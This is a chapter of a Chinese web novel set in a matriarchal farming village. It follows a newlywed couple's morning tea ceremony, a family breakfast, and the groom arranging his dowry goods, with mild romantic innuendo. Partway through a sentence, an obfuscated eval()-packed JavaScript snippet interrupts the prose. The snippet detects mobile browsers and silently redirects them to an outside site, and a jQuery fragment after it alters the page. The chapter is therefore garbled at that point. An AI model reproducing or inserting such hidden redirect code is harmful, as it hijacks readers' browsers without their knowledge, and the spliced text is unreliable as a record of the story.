60. 秋收
作品:《反派们只想种田猫冬(女尊)》 清晨,细雨蒙蒙,整个村子像朦胧在云彩中,白茫茫的,玉米地被薄雾晕成一片浅绿。
村民们一大早起炕,吃过早饭后,带着草帽、扛着锄头往地里去,田埂间的泥土上,浅浅的脚印蔓延开来。
灶房里,柴火噼啪作响,红枣甜香混着小米香飘出窗外,小李氏正蹲在灶台边添柴,时不时抬头朝西屋方向望一眼。
见妻主走进来,小李氏连忙起身道,“时辰不早了,妻主要不要过去瞧一眼?”
说着,又示意堂屋方向,郑母郑父一早已经坐在正位。
郑秋米挑挑眉,依稀急得这倒霉的小妹在她新婚第二天取笑她的模样。
郑秋米把一旁玩耍的蝉哥儿叫过来耳语几句。
蝉哥儿似懂非懂的点点头,蹦跳着跑到西屋门前奶声奶气的叫人,小拳头在门上“咚咚咚”的砸着。
“姨姨起炕啦!再不起炕蝉哥儿要打屁股啦!”
“姨娘起炕啦!”
……
片刻后,小孩发丝上浸湿了密密麻麻的雨珠,挺着小肚子喘着气,“……姨姨快起炕,蝉哥儿要生气啦!”
奈何新建的屋子隔音效果忒好,郑秋穗两口子错过了蝉哥儿的最后通牒。
小孩儿小脸一拉,把一旁的红果叫了过来,示意道,“红果,汪汪!”
红果卧在西屋门前,歪歪头。
人,红果是有修养的狗,红果知道,人睡着的时候狗是不能叫的。
“红果,汪汪!”
蝉哥儿重复着,眼瞧自己叫不醒姨母又使唤不动红果,小孩急的快哭了,眼圈红通通的。
一旁的杏哥儿见状,跑到灶房偷偷端了一碗肉,蹲到红果身前。
“红果,汪汪!”
红果:……人,你不能拿一碗肉来考验狗的修养。
“汪汪!汪汪汪……”
红果出马,一个顶仨。
卧房里,炕上松软的被褥将人轻轻裹在里面,透进纱帐的光落在交叠的细白手臂上,慵懒缠绵。
郑秋穗挣扎着,被窗外的狗叫声从睡梦中提溜了出来,慢吞吞睁开了眼。
一旁的杜甘棠皱着眉扭了扭,往被子里一钻,把自己裹得更紧了,一副“再吵我就把自己闷死在”的倔强模样。
郑秋穗看的想笑,一大早心情大好,就见男人猛地坐了起来,
缎子般的乌黑发丝从郑秋穗指尖划过,被褥滑落,玉白的身躯带着点点斑驳在晨曦中泛着淡淡的光泽。
郑秋穗看的鼻子有些热。
男人的眼睛里还有未散去的迷茫雾气,愣了半天后,又看了看身后的郑秋穗,下意识拉起被子试图挡一挡,见她没有起身的意思,抿抿唇,耳尖红红的。
“……要敬茶。”
两人起身时天色已经大亮,堂屋里,郑父脸色不是很好。
一双眼睛紧紧盯着在院子里哐哐炫肉的郑红果。
老人勤俭了半辈子,便是家里小有积蓄,也改不了舍不得吃穿的习惯,眼下自己舍不得吃的肉被狗吃了,郑父气坏了。
一旁的郑秋米两口子眼观鼻、鼻观口,安分站在一旁。
郑秋穗不明所以,以为她们俩起的迟了叫人久等。
“那个……新婚嘛,娘爹你们都懂的哈!嘿嘿!”
“……”郑父郑母
“……”杜甘棠抿着唇,递上热茶。
郑母接过喝了,郑父则翻了个白眼,摸了摸自己的金戒指,心气儿总算平了些。
“……注意身体,不要总是胡闹。”这是对郑秋穗说的。
“新夫郎进门,要紧的头一桩是照顾好你妻主,第二桩就是开枝散叶,我也不是个苛刻的,可家里的男娃娃也够多了……”说着,郑父接过了女婿的茶碗饮了一口。
“如此,咱们便是一家人了,大家互相照顾,咱们要紧的便是把日子过的红红火火的!”
一旁的郑秋穗笑道。
郑父翻了个白眼,又拿出两枚素金戒指,一枚带到了杜甘棠手上,一枚则交给了一旁的小李氏,小李氏愣了下。
“……以前家里日子苦,如今你妹夫有的,自然也不会短了你的。”
小李氏眼圈红了红。
“成了,没出息!饭也快好了,老二家的,你去帮你姐夫一块端去吧。”
早饭是烙的金黄酥脆的红薯面油饼,配着昨天的剩下的辣炖豆腐、小鸡炖蘑菇、酱肘子、锅包肉,小李氏又拌了个清爽的凉菜,一家人美美的又吃了一顿。
早饭后,郑母忙着下地去了,本来准备收麦子了,偏巧又下了雨,郑母索性带着长工去种过冬吃的白菜、萝卜去了。
郑秋米这几日拉着村里的年轻姑娘们玩儿热火朝天,祠堂边上的擂台也快搭起来了,她这几日和冬粒研究族长交给的差事,也是脚不沾地。
很快,院子里就剩下一堆男子和郑秋穗这唯一一名女子了。
教室还在装修,县丞那儿也没有消息,郑秋穗非常不要脸的给自己放了几天假。
早饭后,杜甘棠帮忙收拾了碗筷。
“我跟你姐夫最近忙着腌黄瓜、晒豆角呢,你们俩新婚,这几日不用你多做活儿,若是有空,把你那嫁妆箱子归置归置……”
郑父叮嘱了几句,带着草帽,拉着大女婿去地里摘黄瓜去了,身后还跟着两个小屁孩,这俩纯去添乱的。
北疆在细雨朦胧间难得有了几分江南的雅致。
郑秋穗拉着杜甘棠去看了她藏嫁妆的地方,在炕柜的一个暗格里。
两个胖小子在炕上仰躺着,一双腿一蹬一蹬的,像两只翻不过身子的胖乌龟,郑秋穗没忍住,拉着两只小胖脚玩儿了一会儿。
“他们叫什么名字?”一旁的杜甘棠问。
“……郑月珩、郑星辰……”摸着鼻子,郑秋穗有点心虚自己取的名儿。
“好名字。”
郑秋穗眼前一亮,特骄傲的介绍自己的两个胖儿子,一旁的杜甘棠始终浅笑的看着。
直到看到月珩胳膊上的牡丹花印记,杜甘棠笑容顿了一下,很快又面色如常问道,“……他们都是在山上捡的?”
“……一块捡回来的。”
也不算说谎,只不过一个是丢了又捡回来的,另一个是直接捡的。
杜甘棠点点头,没再问什么,见状,郑秋穗莫名松了口气。
书房里,六个箱子随意的摆放着。
其中两个箱子,里面放着二十匹左右的衣料子,和几件女款的成衣,料子有毛子的、锦缎的、纱罗的、棉的,还有一匣子散碎银两和金银首饰。
杜甘棠把箱子里的成衣拿出来递给郑秋穗,又挑挑拣拣,拿了两个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959801|189395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
金坠子出来,那是两个平安扣的样式。
其他有两箱子器皿,青瓷、白瓷、粉彩的杯子、碗碟、花瓶,还有铜制的香炉、烛台,甚至还有一对琉璃盏。
剩下的两箱子,一箱子里是古琴、笛子和几本刺绣的花样。另一个箱子则是一些日常用的杂物。
这些东西的价值……
“我被拐走那些年,被卖去了一户侯爵家中,那几年帮少爷学琴、刺绣、认字读书……托那位少爷的福,还给我找了不少差事,着实攒下了不少银两……”
听着似乎是大难不死必有后福的好事,可身后,杜甘棠的声音莫名有些冷。
郑秋穗还有疑问,想了想也没再问,她不是个喜欢刨根究底的,左右有来路,不是麻烦就是了。
杜甘棠的审美着实不错,在他的指挥下,箱子里的东西逐渐放到了屋子里的每个角落。
外面看去还是间农家小屋,屋子里却已经别有洞天了。
客厅里,云母石窗将光线最大程度引入室内,沙发旁的矮桌上摆着一套白瓷茶具,造型素雅,釉色莹润,一角摆着一个草编的收纳筐,里面叠放着几张线毯。
阳光把人晒得懒洋洋的,这地方中午睡觉指定不错,郑秋穗想着。
书房,靠窗的书桌上,全套的文具也置办上了,郑秋穗爱用的炭笔和文具盒放在一侧,另一侧放了褐红色的澄泥砚、几支毛笔、一只青瓷笔洗、一方汉白玉镇纸。
墙上挂着一幅雨后春山图,一旁的矮桌上放着一架古琴,与客厅相连处,青瓷香炉上青烟漫漫。
卧室里,炕上换了月白色的软缎褥子,上面绣着淡青色的花草纹样,帷帐角坠着四枚小巧的银铃,又挂了几枚香包,散发着淡淡的清香,炕外的小桌上放着一盏云光灯。
暗香在空气中涌动,郑秋穗四下看着,杜甘棠正拿着一个暗粉色的花瓶瞧着摆到哪里合适。
难得看到杜甘棠兴致勃勃的模样,郑秋穗没打扰他,静静地泡了一壶茶。
快到中午时,杜甘棠总算满意了一些,郑秋穗原本土里土气的屋子,摇身一变,成了在古装剧中都要称赞一句洋气高雅的存在。
郑秋穗笑着递过去茶碗。
杜甘棠的嫁妆箱子里,单成套的茶具都有四五套,看得出来,杜甘棠似乎有收集杯子的爱好。
“还满意吗?”郑秋穗笑着问。
杜甘棠看着一旁微笑着不曾阻拦他的女人,他是知道郑秋穗为了这个屋子付诸了多少心血的,所以……
眼瞧着自己的东西已经侵入了这个屋子的每一个角落,杜甘棠心里前所未有的满足。
他认真的点点头。
小模样太可爱,郑秋穗没忍住“啾”了一口。
两个人脸红红,四下看去。
“……这是我磨的云光片。”注意到了屋子里的窗户,杜甘棠突然道。
郑秋穗不明所以的点点头。
杜甘棠抿抿唇,回亲了一下。
所以,在他还不明所以,只以为是一心算计的时候……她已经在这人家里了。
新婚燕尔、火气正旺的俊男靓女“啾”来“啾”去,能是什么好结果呢?
总之郑家翁婿从地里回来的时候,西屋的窗帘还拉着呢……
那一天的晚霞格外黄,把老郑家的脸蛋儿印的红彤彤的……

